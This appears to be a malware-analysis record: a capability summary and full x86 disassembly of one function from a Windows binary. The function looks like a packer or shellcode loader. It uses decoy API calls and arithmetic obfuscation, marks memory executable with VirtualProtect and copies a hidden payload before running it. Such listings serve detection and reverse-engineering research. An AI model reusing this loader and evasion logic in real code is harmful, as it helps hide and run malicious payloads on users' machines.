Function at 0x4032b0
Capabilities:
Allocate or change rwx memory
Connect pipe
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Read pipe
Write pipe

Disassembly:
mov edx, 0x50e178
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x403297
ret
push ebp
lea ebp, [esp - 0x78]
mov eax, 0x1cdc
call fcn.0040c930
cmp dword [0x2bb8a1c], 0x6a6
jne 0x403340
call dword [sym.imp.USER32.dll_CountClipboardFormats]
mov eax, dword [ebp + 0x6c]
push eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0x402b97
push 0x50e178
call fcn.00404b80
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.00404b9a
lea ecx, [ebp - 0x30]
call fcn.00404c5b
push 0
call fcn.00404dda
push 0
call fcn.00404dab
push 0
push 0
call fcn.00404dc1
add esp, 0x10
jmp 0x403290
push ebx
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_GetGlyphIndicesW]
xor esi, esi
jmp 0x403350
cmp esi, 0x98ec
jge 0x403364
push 0
push 0
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0x11aba
jl 0x403350
mov eax, 0x11b1b
add dword [0x2bb8a1c], eax
call fcn.00403260
mov edx, dword [0x2bb8a1c]
mov eax, dword [0x2bb5928]
lea ecx, [ebp + 0x70]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2bb8a1c], esi
jbe 0x4033e2
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
jmp 0x4033b0
mov ecx, dword [0x2bb93bc]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0x2bb5928]
mov byte [eax + esi], dl
cmp dword [0x2bb8a1c], 0xa8
jne 0x4033d9
push 0
push 0
push 0
call edi
inc esi
cmp esi, dword [0x2bb8a1c]
jb 0x4033b0
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.USER32.dll_MessageBoxIndirectW]
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
mov dword [ebp + 0x74], eax
lea esp, [esp]
mov ecx, dword [0x2bb8a1c]
add ecx, eax
cmp ecx, 0xe
jne 0x4034a0
push 0x30
lea edx, [ebp - 0x60]
push 0
push edx
mov dword [ebp - 0x64], 0
call fcn.004078b0
add esp, 0xc
push 0
lea eax, [ebp - 0x64]
push eax
push 0x402c08
call esi
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRgn]
push 0
lea ecx, [ebp - 0x1464]
push ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
push 0
push 0x402c8c
lea edx, [ebp - 0x464]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
lea eax, [ebp - 0xc64]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov eax, dword [ebp + 0x74]
inc eax
cmp eax, 0x4f95a3
mov dword [ebp + 0x74], eax
jl 0x403400
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov esi, 0x4f4
lea ebx, [ebx]
push 0
push 0
call edi
sub esi, 1
jne 0x4034c0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
cmp esi, 0x26c0e8
jge 0x4037ed
mov dword [ebp + 0x1c], 0x117e6468
mov dword [ebp + 0x34], 0x5ffc7842
mov dword [ebp + 0x20], 0x47a693b8
mov dword [ebp + 0x3c], 0x2968d501
mov dword [ebp - 0xc], 0x3b97d7ad
mov dword [ebp + 0x40], 0x1cdbd5a0
mov dword [ebp + 0x18], 0x48332d38
mov dword [ebp + 0xc], 0x440c2a2d
mov dword [ebp + 0x44], 0x12e9fd10
mov dword [ebp + 0x58], 0xf744b0e
mov dword [ebp + 0x2c], 0xa9960a7
mov dword [ebp + 0x10], 0x2f799e6c
mov dword [ebp - 0x20], 0x7847afe5
mov dword [ebp + 0x48], 0x4e4c16e5
mov dword [ebp + 0x5c], 0x4b60bfcf
mov dword [ebp + 4], 0x11cf24ee
mov dword [ebp + 0x28], 0x100b136a
mov dword [ebp + 0x50], 0x16a8c798
mov dword [ebp - 0x18], 0x41990087
mov dword [ebp - 4], 0x1a8d2583
mov dword [ebp - 0x14], 0x4be5576
mov dword [ebp + 8], 0x20b6f116
mov dword [ebp + 0x60], 0x1a4811b8
mov dword [ebp - 0x1c], 0x48322249
mov dword [ebp - 8], 0x1cbc86b9
mov dword [ebp + 0x64], 0x197f1790
mov dword [ebp + 0x14], 0x349917ff
mov dword [ebp - 0x24], 0x5038bf9
mov dword [ebp + 0x6c], 0x15607940
mov dword [ebp + 0x24], 0x4350bc8e
mov dword [ebp + 0x38], 0x17fe5556
mov dword [ebp + 0x74], 0x642ba827
mov dword [ebp + 0x68], 0x43e7302b
mov dword [ebp - 0x10], 0x2e87bca9
mov dword [ebp + 0x4c], 0x5ac3e20
mov dword [ebp], 0x45663a5
mov dword [ebp + 0x54], 0x4f04dee8
mov dword [ebp + 0x30], 0x4de238b9
mov eax, 0x7b98fd8e
mul dword [ebp + 0x1c]
mov eax, dword [ebp + 0x1c]
sub dword [ebp + 0x20], 0x6558cd47
add dword [ebp + 0x20], 0x694ee64c
add dword [ebp + 0x34], 0x737efafa
mov eax, 0x699f0bc7
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
mov eax, 0x7083fff5
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
add dword [ebp + 0x3c], 0x3f105651
mov eax, 0x58bdf4a2
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x1496ce22
mul dword [ebp + 0x20]
mov eax, dword [ebp + 0x20]
sub dword [ebp + 0x20], 0x35556f81
mov eax, 0x41c2f159
mul dword [ebp + 0x20]
mov eax, dword [ebp + 0x20]
mov eax, 0x3ea4b095
mul dword [ebp + 0x20]
mov eax, dword [ebp + 0x20]
sub dword [ebp + 0x34], 0x5f1bc896
mov eax, 0x63fcad3b
mul dword [ebp + 0x18]
mov eax, dword [ebp + 0x18]
sub dword [ebp + 0x18], 0x6c0a8592
add dword [ebp + 0x1c], 0x52d9bd7
mov eax, 0x5362c5c9
mul dword [ebp + 0x18]
mov eax, dword [ebp + 0x18]
add dword [ebp + 0x40], 0x74d4a7ac
sub dword [ebp + 0x18], 0x6b9ab333
sub dword [ebp + 0x2c], 0x30cec4cc
sub dword [ebp + 0x18], 0x6f4dc03f
sub dword [ebp - 0xc], 0x406511de
sub dword [ebp + 0x2c], 0x5256efce
add dword [ebp + 0x10], 0x9d24a82
add dword [ebp + 0x10], 0xb55bf10
mov eax, 0x6fadc23
mul dword [ebp + 0x1c]
mov eax, dword [ebp + 0x1c]
sub dword [ebp + 0x10], 0x2107bccb
mov eax, 0x43a1127f
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
add dword [ebp + 0x58], 0x23f95553
mov eax, 0xfa50777
mul dword [ebp + 0x18]
mov eax, dword [ebp + 0x18]
mov eax, 0x982e1f9
mul dword [ebp + 0x20]
mov eax, dword [ebp + 0x20]
add dword [ebp + 0x34], 0x6ff007ed
sub dword [ebp + 0x48], 0x2ca9ae19
add dword [ebp + 0x20], 0x2e67b4f9
add dword [ebp + 0x58], 0x1ae532f6
add dword [ebp + 0x2c], 0x1b1cddec
add dword [ebp + 0x5c], 0x1843194b
sub dword [ebp + 0x58], 0x4d0fd6ca
add dword [ebp - 0x18], 0x4c19438c
add dword [ebp + 0x40], 0x7555adb0
add dword [ebp - 0x14], 0x6e7262a2
mov eax, 0x226d3295
mul dword [ebp + 0x40]
mov eax, dword [ebp + 0x40]
add dword [ebp - 0x1c], 0x7d1e9162
mov eax, 0x27578fe4
mul dword [ebp + 0x44]
mov eax, dword [ebp + 0x44]
mov eax, 0x2f90f5f3
mul dword [ebp + 0x44]
mov eax, dword [ebp + 0x44]
sub dword [ebp + 0x50], 0x6b09171
sub dword [ebp + 0x10], 0x6c846b8d
sub dword [ebp + 0x48], 0x2e2cab03
add dword [ebp - 8], 0x19526782
add dword [ebp + 8], 0x2cd8acc0
sub dword [ebp + 0x38], 0x47be2084
add dword [ebp - 4], 0x6e73a756
sub dword [ebp + 0x2c], 0x4243819d
mov eax, 0x6583975
mul dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
add dword [ebp + 0x74], 0x1465568b
mov eax, 0x3df9edd8
mul dword [ebp + 0x74]
mov eax, dword [ebp + 0x74]
add dword [ebp + 0x14], 0x44e853d4
sub dword [ebp + 0x64], 0x702bf432
mov eax, 0x61576f3a
mul dword [ebp + 0x40]
mov eax, dword [ebp + 0x40]
sub dword [ebp + 0x18], 0x3dac3a17
sub dword [ebp - 0xc], 0x4f1fdc5c
mov eax, 0x76077062
mul dword [ebp + 0x18]
mov eax, dword [ebp + 0x18]
cmp esi, 0x2735c9
jg 0x403802
inc esi
cmp esi, 0x15a24e60
jl 0x4034d1
call fcn.004031f0
call fcn.00403240
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
mov dword [ebp + 0x74], 0x7b
jmp 0x403830
cmp dword [0x2bb8a1c], 0x86
jne 0x40385e
push 0x402ccc
call esi
push 0
lea ecx, [ebp + 0x6c]
push ecx
push 0
lea edx, [ebp - 0x464]
push edx
push 0
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp + 0x74], 1
jne 0x403830
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp + 0x74], 0x180ef
lea ecx, [ecx]
cmp dword [0x2bb8a1c], 0x1f
jne 0x4038f4
push 0
lea eax, [ebp + 0x6c]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
push 0
lea ecx, [ebp - 0x464]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
lea edx, [ebp - 0x64]
push edx
push 0
call ebx
push 0
lea eax, [ebp - 0x864]
push eax
push 0x402cf4
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
push 0
lea ecx, [ebp - 0x1c64]
push ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
lea edx, [ebp - 0x1064]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
sub dword [ebp + 0x74], 1
jne 0x403880
call fcn.00402f40
call fcn.00403280
pop edi
pop esi
pop ebx
add ebp, 0x78
mov esp, ebp
pop ebp
ret